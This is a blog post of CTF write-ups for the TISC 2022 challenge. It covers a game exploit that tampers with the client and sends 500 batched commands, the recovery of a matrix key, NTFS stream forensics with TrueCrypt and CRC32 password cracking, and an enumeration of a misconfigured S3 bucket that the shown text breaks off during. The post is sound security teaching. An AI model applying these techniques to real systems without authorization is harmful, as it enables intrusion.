DEV Community

Terence Chan Zun Mun
Terence Chan Zun Mun

Posted on

The TISC 2022 Writeup

I spent some time over the 2 weeks doing the CSIT The InfoSecurity Challenge.

Overall I think I did decent, as I could get the Level 4 Badge. Out of the 213 who got points, I was in the 59th position.

Image description

Here are my writeups

Level 1

Image description

Solution

Firstly, source code is given, so I started reading it.

It includes both the client and server code

(base) [hacker@hackerbook src]$ ls Dockerfile PLEASE_READ.txt client core docker-compose.yml flag.txt main.py poetry.lock pyproject.toml requirements.txt run_server.py server (base) [hacker@hackerbook src]$ 
Enter fullscreen mode Exit fullscreen mode

From the looks of the Dockerfile, there's a flag file on the server

COPY --from=builder /venv /venv COPY flag.txt / COPY . /app RUN rm /app/flag.txt RUN adduser -u 5678 --disabled-password --gecos "" appuser && chown -R appuser /app RUN chown root:appuser /flag.txt RUN chmod 440 /flag.txt ... 
Enter fullscreen mode Exit fullscreen mode

Basic Analysis

Server Code

The main server code is in run_server.py. It imports several libraries from the server folder

from typing import Optional from core.models import Command from server import GameServer from server.service import ( BattleService, BuyPotionService, BuySwordService, ViewStatsService, WorkService, ) server = GameServer.create() def execute(command: Optional[Command]): match command: case Command.BATTLE: server.run(BattleService(server=server)) case Command.VIEW_STATS: server.run(ViewStatsService(server=server)) case Command.WORK: server.run(WorkService(server=server)) case Command.BUY_SWORD: server.run(BuySwordService(server=server)) case Command.BUY_POTION: server.run(BuyPotionService(server=server)) case Command.EXIT: server.exit() while True: execute(server.recv_command()) 
Enter fullscreen mode Exit fullscreen mode

Looking at the files in the server folder, we can see where they read the file in server/gameserver.py

@dataclass class GameServer: connection: NetClient game: Game ... def recv_command(self) -> Optional[Command]: try: return Command(self.__recv()) except ValueError: return None ... def send_flag(self): with open("/flag.txt", "r") as f: self.__send(f.read()) 
Enter fullscreen mode Exit fullscreen mode

I tried to look through all the files for where the send_flag function is called (by searching for send_flag)

(base) [hacker@hackerbook src]$ grep -rnw ./ -e 'send_flag' ./server/service/battleservice.py:55: self.server.send_flag() ./server/gameserver.py:50: def send_flag(self): (base) [hacker@hackerbook src]$  
Enter fullscreen mode Exit fullscreen mode

In server/service/battleservice.py, is the battle code. The flag is called when the battle is won and when there is no next boss.

from __future__ import annotations from typing import TYPE_CHECKING, Optional from core.models import Command, CommandHistorian, Result if TYPE_CHECKING: from server import GameServer class BattleService: ... def run(self): self.__send_next_boss() while True: self.history.log_commands_from_str(self.server.recv_command_str()) match self.history.latest: case Command.ATTACK | Command.HEAL: self.history.log_command(Command.BOSS_ATTACK) case Command.VALIDATE: break case Command.RUN: return case _: self.server.exit(1) match self.__compute_battle_outcome(): case Result.PLAYER_WIN_BATTLE: self.__handle_battle_win() return case Result.BOSS_WIN_BATTLE: self.server.exit() case _: self.server.exit(1) def __handle_battle_win(self): self.server.game.remove_next_boss() if self.__boss_available_for_next_battle(): self.server.send_result(Result.VALIDATED_OK) return self.server.send_result(Result.OBTAINED_FLAG) self.server.send_flag() self.server.exit() def __boss_available_for_next_battle(self) -> bool: return not (self.server.game.next_boss is None) ... 
Enter fullscreen mode Exit fullscreen mode

Hmm there's some unexpected code

Core Code

I first read core/game.py to know more about the class Game. It suggests that there are a list of bosses from a json file. Most likely the list on the server is hidden

import json import sys from dataclasses import dataclass, field from typing import List, Optional from core.config import BOSS_DATA_FILE from core.models.boss import Boss from core.models.player import Player @dataclass class Game: bosses: List[Boss] player: Player = field(default_factory=Player) @property def next_boss(self) -> Optional[Boss]: try: return self.bosses[0] except IndexError: return None @classmethod def create(cls) -> "Game": bosses = Game.__load_bosses(BOSS_DATA_FILE) if len(bosses) == 0: sys.exit(-1) return cls(bosses=bosses) def remove_next_boss(self): self.bosses = self.bosses[1:] @staticmethod def __load_bosses(filename: str) -> List[Boss]: with open(filename, "r") as f: return [ Boss(**boss_data, max_hp=boss_data["hp"]) for boss_data in json.load(f) ] 
Enter fullscreen mode Exit fullscreen mode

I also looked at the player code, one interesting thing is that

  1. More swords are basically useless, as they will still deal 2 damage
from __future__ import annotations import json from dataclasses import dataclass from typing import TYPE_CHECKING if TYPE_CHECKING: from core.models.boss import Boss from core.config import BASE_ATTACK, POTION_POTENCY, SWORD_ATTACK_BONUS @dataclass class Player: hp: int = 10 max_hp: int = 10 gold: int = 0 sword: int = 0 potion: int = 0 @property def attack(self) -> int: return BASE_ATTACK + self.__compute_bonus_attack() @property def is_alive(self) -> bool: return self.hp > 0 @property def is_dead(self) -> bool: return not self.is_alive @property def lost_hp(self) -> int: return self.max_hp - self.hp def receive_attack_from(self, attacker: "Boss"): self.hp -= attacker.attack def use_potion(self): if not self.__has_potion(): return self.potion -= 1 self.hp = min(self.hp + POTION_POTENCY, self.max_hp) @classmethod def from_json(cls, data: str) -> "Player": return cls(**json.loads(data)) def to_json(self) -> str: return json.dumps(self.__dict__) def __compute_bonus_attack(self) -> int: if not self.__has_sword(): return 0 return SWORD_ATTACK_BONUS def __has_sword(self) -> bool: return self.sword > 0 def __has_potion(self) -> bool: return self.potion > 0 def __str__(self): return ( f"HP:{self.hp}/{self.max_hp}\n" + f"ATTACK:{self.attack}\n" + f"GOLD:{self.gold}\n" + f"POTIONS:{self.potion}" ) 
Enter fullscreen mode Exit fullscreen mode

Client Code

I tried looking at the client code, which is kinda weird. I ended up stumbling on src/client/event/battleevent.py I wanted to find if there's anything client side that doesn't sync with server side. Maybe we could exploit that.

From the looks of it the client side initialises everything separately from the server. It uses new models, and does not always update from the server.

from typing import Optional from client import GameClient from client.error import Error from client.ui import screens from core.models import Boss, Command, Result class BattleEvent: def __init__(self, client: GameClient) -> None: self.client = client self.player = client.player def run(self): self.boss: Boss = self.client.fetch_next_boss() while True: self.__display() match self.__get_battle_command(): case Command.ATTACK: self.__attack_boss() if self.boss.is_dead: break case Command.HEAL: self.__use_potion() case Command.RUN: self.client.send_command(Command.RUN) return case _: continue self.player.receive_attack_from(self.boss) if self.player.is_dead: break self.client.send_command(Command.VALIDATE) if self.player.is_dead: self.__handle_death() match self.client.fetch_result(): case Result.VALIDATED_OK: screens.display_boss_slain_screen() return case Result.OBTAINED_FLAG: screens.display_flag_screen(self.client.fetch_flag()) self.client.exit() case _: screens.display_error(Error.RECEIVED_MALFORMED_RESULT) self.client.exit(1) def __use_potion(self): self.client.send_command(Command.HEAL) self.player.use_potion() def __attack_boss(self): self.client.send_command(Command.ATTACK) self.boss.receive_attack_from(self.player) def __handle_death(self): screens.display_game_over_screen() self.client.exit() def __display(self): screens.display_battle_screen(player=self.player, boss=self.boss) def __get_battle_command(self) -> Optional[Command]: match input(): case "1": return Command.ATTACK case "2": return Command.HEAL case "3": return Command.RUN case _: return None 
Enter fullscreen mode Exit fullscreen mode

Discrepancy Found between Client & Server Events

Battle

There are generally no discrepancies, as shown in the codes above.

Generally after an attack command, the server will register an extra boss attack command on their side too.

 def run(self): self.__send_next_boss() while True: self.history.log_commands_from_str(self.server.recv_command_str()) match self.history.latest: case Command.ATTACK | Command.HEAL: self.history.log_command(Command.BOSS_ATTACK) case Command.VALIDATE: break case Command.RUN: return case _: self.server.exit(1) 
Enter fullscreen mode Exit fullscreen mode

Shop

The client side code client/event/shopevent.py only handles sending the commands, and does not update the local player model.

The server side codes server/event/buyswordservice.py and server/event/buypotionservice.py generally handle the main validation, which only checks if the player has enough gold to buy.

Unlimited Gold Exploit

After some digging, and checking each of the potential events, I found out discrepancies between the work service.

The Server code does not do any validation in server/event/workservice.py

from __future__ import annotations from typing import TYPE_CHECKING from core.config import WORK_SALARY if TYPE_CHECKING: from server import GameServer class WorkService: def __init__(self, server: GameServer): self.server = server def run(self): self.server.game.player.gold += WORK_SALARY 
Enter fullscreen mode Exit fullscreen mode

The Client code does validation in client/event/workevent.py.

from random import random from client import GameClient from client.ui import screens from core.models import Command CREEPER_ENCOUNTER_CHANCE = 0.2 class WorkEvent: def __init__(self, client: GameClient) -> None: self.client = client def run(self): if random() <= CREEPER_ENCOUNTER_CHANCE: self.__die_to_creeper() self.__mine_safely() def __die_to_creeper(self): screens.display_creeper_screen() screens.display_game_over_screen() self.client.exit() def __mine_safely(self): screens.display_working_screen() self.client.send_command(Command.WORK) 
Enter fullscreen mode Exit fullscreen mode

Since the client side is something we can control, I reduced the CREEPER_ENCOUNTER_CHANCE to 0. This allows us to get infinite gold. I also removed the display working screen because I can.

My modified code is here

from random import random from client import GameClient from client.ui import screens from core.models import Command CREEPER_ENCOUNTER_CHANCE = 0 #.2  class WorkEvent: def __init__(self, client: GameClient) -> None: self.client = client def run(self): if random() <= CREEPER_ENCOUNTER_CHANCE: self.__die_to_creeper() self.__mine_safely() def __die_to_creeper(self): screens.display_creeper_screen() screens.display_game_over_screen() self.client.exit() def __mine_safely(self): #screens.display_working_screen()  self.client.send_command(Command.WORK) 
Enter fullscreen mode Exit fullscreen mode

Running the Client Code

Unlimited gold exploit can be used to increase number of potions, but not number of swords

Among the bosses is one with attack 50, which instant kills

Another Exploit - Command Interpretation

When checking for the battle events, as I want to bypass the attack power restriction, I noticed the client side code parsed the commands weirdly. Why commands instead of command

 def run(self): self.__send_next_boss() while True: self.history.log_commands_from_str(self.server.recv_command_str()) # Should be log_command_from_str  match self.history.latest: case Command.ATTACK | Command.HEAL: self.history.log_command(Command.BOSS_ATTACK) case Command.VALIDATE: break case Command.RUN: return case _: self.server.exit(1) 
Enter fullscreen mode Exit fullscreen mode

If you check the CommandHistorian class used from core/models/command.py, you notice that the function used, log_commands_from_str to parse the commands actually can parse more than 1 command at once

@dataclass class CommandHistorian: commands: List[Command] = field(default_factory=list) def log_command(self, command: Command): self.commands.append(command) def log_commands(self, commands: List[Command]): self.commands.extend(commands) def log_command_from_str(self, command_str: str): self.log_command(Command(command_str)) def log_commands_from_str(self, commands_str: str): self.log_commands( [Command(command_str) for command_str in commands_str.split()] ) ... 
Enter fullscreen mode Exit fullscreen mode

I modified the function in battleevent.py to send more than 1 command

 def __attack_boss(self): #self.client.send_command(Command.ATTACK)  value = " ".join(["ATTACK" for i in range(500)]) self.client._GameClient__send(value) for i in range(500):self.boss.receive_attack_from(self.player) 
Enter fullscreen mode Exit fullscreen mode

Just run python3 main.py --host chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg --port 18261, keep attacking the bosses, and you should get the flag

Flag

TISC{L3T5_M33T_4G41N_1N_500_Y34R5_96eef57b46a6db572c08eef5f1924bc3}

Level 2

Easy Challenge, just basic math lol

https://api.tisc.csit-events.sg/file?id=cl6j1u5ua09al0838dm6l6udp&name=2WKV_Whitepaper.pdf

Solution

Matrix Multiplication

On reading the PDF document, you can find the code for the server and a brief explanation.

The code generates an 8x8 matrix SECRET_KEY. You can provide challenge to get a response 8 times. Then they give you the challenge inputvector, and you are supposed to return the correct response input vector 8 times. If all is correct you are verified and you get the flag.

Refresher on matrix multiplication (Secondary School topic)

We can give a vector with only 1 value set to 1, (eg. 10000000) to find 8 corresponding values in the SECRET_KEY matrix. We can repeat this 8 times to get the entire matrix

Solution Script and Command Output

#!/usr/bin/python  """ # Answers 10000000 01000000 00100000 00010000 00001000 00000100 00000010 00000001 """ responses = """ 00111100 00100010 10010110 11111011 11110001 00011001 10010110 00001100 """.strip().split("\n") import numpy as np def strtovec(s, rows=8, cols=1): return np.fromiter(list(s), dtype="int").reshape(rows, cols) SKEY = [ [0 for j in range(8)] for i in range(8)] for i in range(len(responses)): # lines  for j in range(8): SKEY[j][i] = int(responses[i][j]) # for i in SKEY: print(i) # Visualise SECRET_KEY = np.array(SKEY) for i in range(8): input_vec = strtovec(input("InputVector: ")) answer_vec = (SECRET_KEY @ input_vec) & 1 output = "" for i in answer_vec: output += str(i[0]) print(output) 
Enter fullscreen mode Exit fullscreen mode
(base) [hacker@hackerbook Level 2]$ python3 solution.py InputVector: 10010100 11011110 InputVector: 01010111 01011010 InputVector: 00000111 10000011 InputVector: 00011011 10010000 InputVector: 11110101 01100110 InputVector: 00100011 00001100 InputVector: 10100111 00101001 InputVector: 10110000 01010001 (base) [hacker@hackerbook Level 2]$  
Enter fullscreen mode Exit fullscreen mode
[hacker@hackerbook src]$ nc chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg 56765 :::::::: ::: ::: ::: ::: ::: :+: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ +#+ +#+ +:+ +#+ +#++:++#++: +#++: +#+ +#+ +#+#+ +#+ +#+ +#+ +#+ #+# #+#+# #+#+# #+# #+# #+# ########## ### ### ### ### ### ::: ::: :::::::::: ::: ::: ::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ +#++:++ +#++:++# +#++: +#+ +#++:++#++:++ +#+ +#+ +#+ +#+ +#+ +#+ +#+ #+# #+# #+# #+# #+# #+# ### ### ########## ### ### ### ::: ::: :::::::::: ::::::::: ::::::::::: :::::::::: ::: ::: :+: :+: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +#+ +:+ +#++:++# +#++:++#: +#+ :#::+::# +#++: +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ #+#+#+# #+# #+# #+# #+# #+# #+# ### ########## ### ### ########### ### ### ============= Challenge Me! ============= Challenge Me #01 <-- 10000000 01000000 00100000 00010000 00001000 00000100 00000010 00000001 My Response --> 00111100 Challenge Me #02 <-- My Response --> 00100010 Challenge Me #03 <-- My Response --> 10010110 Challenge Me #04 <-- My Response --> 11111011 Challenge Me #05 <-- My Response --> 11110001 Challenge Me #06 <-- My Response --> 00011001 Challenge Me #07 <-- My Response --> 10010110 Challenge Me #08 <-- My Response --> 00001100 ============== Challenge You! ============== Challenge You #01 --> 10010100 Your Response <-- 11011110 Challenge You #02 --> 01010111 Your Response <-- 01011010 Challenge You #03 --> 00000111 Your Response <-- 10000011 Challenge You #04 --> 00011011 Your Response <-- 10010000 Challenge You #05 --> 11110101 Your Response <-- 01100110 Challenge You #06 --> 00100011 Your Response <-- 00001100 Challenge You #07 --> 10100111 Your Response <-- 00101001 Challenge You #08 --> 10110000 Your Response <-- 01010001 ======================== All challenges passed :) ======================== ================================================================= Here is your flag: TISC{d0N7_R0lL_Ur_0wN_cRyp70_7a25ee4d777cc6e9} ================================================================= [hacker@hackerbook src]$  
Enter fullscreen mode Exit fullscreen mode

Flag

TISC{d0N7_R0lL_Ur_0wN_cRyp70_7a25ee4d777cc6e9}

Level 3 - Part 1

Solution

Mounting

This looks like the image of a partition https://superuser.com/questions/1502676/what-are-the-hidden-sectors-in-the-output-of-the-file-command-for-partitions

If cannot mount, run testdisk to fix the boot sector

[hacker@hackerbook tmp]$ file PATIENT0 PATIENT0: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 0, FAT (1Y bit by descriptor); NTFS, physical drive 0xab3566f7, sectors 12287, $MFT start cluster 4, $MFTMirror start cluster 767, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 05c66c6b160cddda1 [hacker@hackerbook tmp]$ mkdir /tmp/t [hacker@hackerbook tmp]$ sudo mount PATIENT0 /tmp/t [sudo] password for hacker: [hacker@hackerbook tmp]$ cd /tmp/t [hacker@hackerbook t]$ ls -al total 12 drwxrwxrwx 1 root root 4096 Aug 20 01:37 . drwxrwxrwt 17 root root 540 Aug 27 01:32 .. -rwxr-xr-x 1 root root 6049 Aug 20 00:40 message.png [hacker@hackerbook t]$ 
Enter fullscreen mode Exit fullscreen mode

message

I used an image to text converter here

GIXFI2DJOJZXI6JAMZXXEIDUNBSSAZTMMFTT6ICHN4QGM2LOMQQHI2DFEBZXI4TFMFWS4CQ=

I then used cyberchef to identify it was base32, and then convert it as such.

[hacker@hackerbook t]$ echo "GIXFI2DJOJZXI6JAMZXXEIDUNBSSAZTMMFTT6ICHN4QGM2LOMQQHI2DFEBZXI4TFMFWS4CQ=" | base32 -d 2.Thirsty for the flag? Go find the stream. [hacker@hackerbook t]$  
Enter fullscreen mode Exit fullscreen mode

Autopsy


┌──(kali㉿kali)-[/tmp] └─$ tsk_recover PATIENT0 files Files Recovered: 1 ┌──(kali㉿kali)-[/tmp] └─$ ls files broken.pdf ┌──(kali㉿kali)-[/tmp] └─$  
Enter fullscreen mode Exit fullscreen mode


┌──(kali㉿kali)-[/tmp] └─$ exiftool /tmp/broken.pdf ExifTool Version Number : 12.36 File Name : broken.pdf Directory : /tmp File Size : 499 KiB File Modification Date/Time : 2022:08:27 05:24:56-04:00 File Access Date/Time : 2022:08:27 05:24:57-04:00 File Inode Change Date/Time : 2022:08:27 05:24:56-04:00 File Permissions : -rwxr-xr-x File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.7 Linearized : No Author : user Create Date : 2022:08:20 03:35:28+10:00 Modify Date : 2022:08:20 03:35:28+10:00 Producer : Microsoft: Print To PDF Title : Microsoft Word - Document1 Page Count : 1 ┌──(kali㉿kali)-[/tmp] └─$  
Enter fullscreen mode Exit fullscreen mode

File Stream

When I read the word stream, I immediately thought of file stream, which lead me to this:
https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams


Clues

  1. The BPB is broken, can you fix it?
  2. Thirsty for the flag? Go find the stream.
  3. Are these True random bytes for Cryptology
  4. If you need a password, the original reading of the BPB was actually Checked and ReChecked 32 times!

Googling for terms

I assume its about analysing the BIOS Parameter Blocks. Now need to find the term to do so.

Analysing BPB

I opened the file in a hex editor and tried to check on the BIOS Parameter Blocks

https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(PBS)

Comparison shows 0x18, 0x1a, 0x1c values are 0

0x28 is diff but its because its the partition size, 0x48 diff because unique, 0x20 is diff but its useless

End of Sector Marking

According to Wikipedia, Sector 1 0x20

The Byte Offset 0x20 is supposed to be all 00, while 0x24 is supposed to be 80 00 80 00 (Little Endian, causing things to be reversed. However, in the file they are different, as shown.

Selecting those 4 bytes and wrapping them gives the flag

Flag

TISC{f76635ab}

Level 3 - Part 2


'
Image description

Solution - Continued

Looking at Hints 2 & 3, you can infer that the solution is TrueCrypt

Clue 4 Capitalises the letters C, R, C and includes the number 32, suggesting the algorithm is CRC32.

I fixed the disk image using the testdisk command. Opening the file with that command, I then fixed the boot sector (since the corrupted bytes are there). This is to allow us to mount the image.

I mounted the disk image in Windows using OSFMount

I downloaded the NTFS Data Stream message.png:$RAND using the AlternateStreamView Program. This is to extract the stream properly. I was stuck on extracting it through Autopsy, and it didn't extract the volume properly.

Afterwards, I removed the text characters at the start. They are likely data added on to the initial data.

Used f76635ab as password (The Flag)

Inside the volume has this image

CRC32 Cracking

I downloaded a CRC32 cracking program and used it to crack the modified bytes. I modified the program to crack for the specific situation

┌──(kali㉿kali)-[/tmp] └─$ git clone https://github.com/theonlypwner/crc32.git Cloning into 'crc32'... remote: Enumerating objects: 53, done. remote: Counting objects: 100% (34/34), done. remote: Compressing objects: 100% (19/19), done. remote: Total 53 (delta 13), reused 30 (delta 11), pack-reused 19 Receiving objects: 100% (53/53), 43.08 KiB | 6.15 MiB/s, done. Resolving deltas: 100% (19/19), done. ┌──(kali㉿kali)-[/tmp] └─$ cd crc32 ┌──(kali㉿kali)-[/tmp/crc32] └─$ ls crc32.py LICENSE.txt README.md test_data.py test.py ┌──(kali㉿kali)-[/tmp/crc32] └─$ mousepad crc32.py ┌──(kali㉿kali)-[/tmp/crc32] └─$ python crc32.py reverse 0xf76635ab > gen 1 ⨯ 1 ⚙ ┌──(kali㉿kali)-[/tmp/crc32] └─$  
Enter fullscreen mode Exit fullscreen mode

Here are the modifications I made to crc32.py

def reverse_callback(): # initialize tables  init_tables(get_poly()) # find reverse bytes  desired = parse_dword(args.desired) accum = parse_dword(args.accum) # 4-byte patch  patches = findReverse(desired, accum) for patch in patches: text = '' if all(p in permitted_characters for p in patch): text = '{}{}{}{} '.format(*map(chr, patch)) out('4 bytes: {}{{0x{:02x}, 0x{:02x}, 0x{:02x}, 0x{:02x}}}'.format(text, *patch)) checksum = calc(patch, accum) out('verification checksum: 0x{:08x} ({})'.format( checksum, 'OK' if checksum == desired else 'ERROR')) def print_permitted_reverse(patch): patches = findReverse(desired, calc(patch, accum)) for last_4_bytes in patches: if all(p in permitted_characters for p in last_4_bytes): patch2 = patch + last_4_bytes out('{} bytes: {} ({})'.format( len(patch2), ''.join(map(chr, patch2)), 'OK' if calc(patch2, accum) == desired else 'ERROR')) # 5-byte alphanumeric patches  for i in permitted_characters: print_permitted_reverse((i,)) # 6-byte alphanumeric patches  for i in permitted_characters: for j in permitted_characters: print_permitted_reverse((i, j)) # 7-byte alphanumeric patches  for i in permitted_characters: for j in permitted_characters: for k in permitted_characters: print_permitted_reverse((i, j, k)) # 9-byte  for i in permitted_characters: for j in permitted_characters: for k in permitted_characters: for x in permitted_characters: y = ord('c') print_permitted_reverse((y, i, j, k, x)) 
Enter fullscreen mode Exit fullscreen mode

What came out was a list of potential passwords, which if passed though CRC32, could produce the modified bytes. One of the entries, c01lis1on, seemed interesting.

PPT File

Keying in c01lis1on as the password, I get flag.ppsm, which is a PowerPoint presentation.

Opening it gives me a tip on how to get the flag

I then extracted the mp3 file from the PowerPoint Slide.

┌──(kali㉿kali)-[~] └─$ cp /media/sf_Stuff/flag.ppsm /tmp ┌──(kali㉿kali)-[~] └─$ file /tmp/flag.ppsm /tmp/flag.ppsm: Microsoft PowerPoint 2007+ ┌──(kali㉿kali)-[~] └─$ cd /tmp ┌──(kali㉿kali)-[/tmp] └─$ dtrx flag.ppsm dtrx: ERROR: could not handle flag.ppsm dtrx: ERROR: not a known archive type ┌──(kali㉿kali)-[/tmp] └─$ cp flag.ppsm flag.zip 1 ⨯ ┌──(kali㉿kali)-[/tmp] └─$ dtrx flag.zip ┌──(kali㉿kali)-[/tmp] └─$ cd flag ┌──(kali㉿kali)-[/tmp/flag] └─$ ls '[Content_Types].xml' docProps ppt _rels ┌──(kali㉿kali)-[/tmp/flag] └─$ ls -alR .: total 24 drwx------ 5 kali kali 4096 Sep 8 08:47 . drwxrwxrwt 18 root root 4096 Sep 8 08:47 .. -rw-r--r-- 1 kali kali 3273 Jan 1 1980 '[Content_Types].xml' drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 docProps drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 ppt drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels ./docProps: total 28 drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 . drwx------ 5 kali kali 4096 Sep 8 08:47 .. -rw-r--r-- 1 kali kali 1299 Jan 1 1980 app.xml -rw-r--r-- 1 kali kali 644 Jan 1 1980 core.xml -rw-r--r-- 1 kali kali 11197 Jan 1 1980 thumbnail.jpeg ./ppt: total 48 drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 . drwx------ 5 kali kali 4096 Sep 8 08:47 .. drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 media -rw-r--r-- 1 kali kali 3380 Jan 1 1980 presentation.xml -rw-r--r-- 1 kali kali 816 Jan 1 1980 presProps.xml drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 slideLayouts drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 slideMasters drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 slides -rw-r--r-- 1 kali kali 182 Jan 1 1980 tableStyles.xml drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 theme -rw-r--r-- 1 kali kali 810 Jan 1 1980 viewProps.xml ./ppt/media: total 1112 drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 . drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 .. -rw-r--r-- 1 kali kali 16169 Jan 1 1980 image1.png -rw-r--r-- 1 kali kali 147982 Jan 1 1980 image2.jpg -rw-r--r-- 1 kali kali 961443 Jan 1 1980 media1.mp3 ./ppt/_rels: total 12 drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 . drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 .. -rw-r--r-- 1 kali kali 976 Jan 1 1980 presentation.xml.rels ./ppt/slideLayouts: total 72 drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 . drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 .. drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels -rw-r--r-- 1 kali kali 2946 Jan 1 1980 slideLayout10.xml -rw-r--r-- 1 kali kali 3170 Jan 1 1980 slideLayout11.xml -rw-r--r-- 1 kali kali 3648 Jan 1 1980 slideLayout1.xml -rw-r--r-- 1 kali kali 2891 Jan 1 1980 slideLayout2.xml -rw-r--r-- 1 kali kali 4384 Jan 1 1980 slideLayout3.xml -rw-r--r-- 1 kali kali 3756 Jan 1 1980 slideLayout4.xml -rw-r--r-- 1 kali kali 6285 Jan 1 1980 slideLayout5.xml -rw-r--r-- 1 kali kali 2223 Jan 1 1980 slideLayout6.xml -rw-r--r-- 1 kali kali 1897 Jan 1 1980 slideLayout7.xml -rw-r--r-- 1 kali kali 4704 Jan 1 1980 slideLayout8.xml -rw-r--r-- 1 kali kali 4623 Jan 1 1980 slideLayout9.xml ./ppt/slideLayouts/_rels: total 52 drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 . drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 .. -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout10.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout11.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout1.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout2.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout3.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout4.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout5.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout6.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout7.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout8.xml.rels -rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout9.xml.rels ./ppt/slideMasters: total 28 drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 . drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 .. drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels -rw-r--r-- 1 kali kali 12846 Jan 1 1980 slideMaster1.xml ./ppt/slideMasters/_rels: total 12 drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 . drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 .. -rw-r--r-- 1 kali kali 1991 Jan 1 1980 slideMaster1.xml.rels ./ppt/slides: total 16 drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 . drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 .. drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels -rw-r--r-- 1 kali kali 3653 Jan 1 1980 slide1.xml ./ppt/slides/_rels: total 12 drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 . drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 .. -rw-r--r-- 1 kali kali 838 Jan 1 1980 slide1.xml.rels ./ppt/theme: total 16 drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 . drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 .. -rw-r--r-- 1 kali kali 6807 Jan 1 1980 theme1.xml ./_rels: total 12 drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 . drwx------ 5 kali kali 4096 Sep 8 08:47 .. -rw-r--r-- 1 kali kali 738 Jan 1 1980 .rels ┌──(kali㉿kali)-[/tmp/flag] └─$ md5sum ./ppt/media/media1.mp3 f9fc54d767edc937fc24f7827bf91cfe ./ppt/media/media1.mp3 
Enter fullscreen mode Exit fullscreen mode

Flag

TISC{f9fc54d767edc937fc24f7827bf91cfe}

Level 4B

Solution

Identifying S3 Bucket

Firstly, I viewed the source code of the website at https://d20whnyjsgpc34.cloudfront.net, which suggests AWS S3 buckets (since it uses the term S3).

<header> <div class="p-5 text-center bg-light"> <!-- Passcode --> <h1 class="mb-3">Cats rule the world</h1> <!-- Passcode --> <!-- ----- Completed ----- * Configure CloudFront to use the bucket - palindromecloudynekos as the origin ----- TODO ----- * Configure custom header referrer and enforce S3 bucket to only accept that particular header * Secure all object access --> <h4 class="mb-3">—ฅ/ᐠ. ̫ .ᐟ\ฅ —</h4> </div> </header> 
Enter fullscreen mode Exit fullscreen mode

Researching on AWS S3 Buckets gets me to this link, https://atos.net/en/lp/securitydive/poorly-configured-s3-buckets-a-hackers-delight. Following a typical bucket header, I get the link https://palindromecloudynekos.s3.amazonaws.com/index.html

Enumerating S3 Bucket

I installed AWS CLI following this guide, and configured it using my peronal account.

I then accessed the bucket following this guide

┌──(kali㉿kali)-[/tmp/flag] └─$ aws s3 ls s3:// ┌──(kali㉿kali)-[/tmp/flag] └─$ aws s3 ls s3://palindromecloudynekos PRE api/ PRE img/ 2022-08-23 09:16:20 34 error.html 2022-08-23 09:16:20 2257 index.html ┌──(kali㉿kali)-[/tmp/flag] └─$ aws s3 ls s3://palindromecloudynekos/img/ 2022-07-22 06:02:45 404845 photo1.jpg 2022-07-22 06:02:45 164700 photo2.jpg 2022-07-22 06:02:46 199175 photo3.jpg 2022-07-22 06:02:45 226781 photo4.jpg 2022-07-22 06:02:46 249156 photo5.jpg 2022-07-22 06:02:45 185166 photo6.jpg ┌──(kali㉿kali)-[/tmp/flag] └─$ aws s3 ls s3://palindromecloudynekos/api/ 2022-08-23 09:16:20 432 notes.txt ┌──(kali㉿kali)-[/tmp/flag] └─$ 
Enter fullscreen mode Exit fullscreen mode

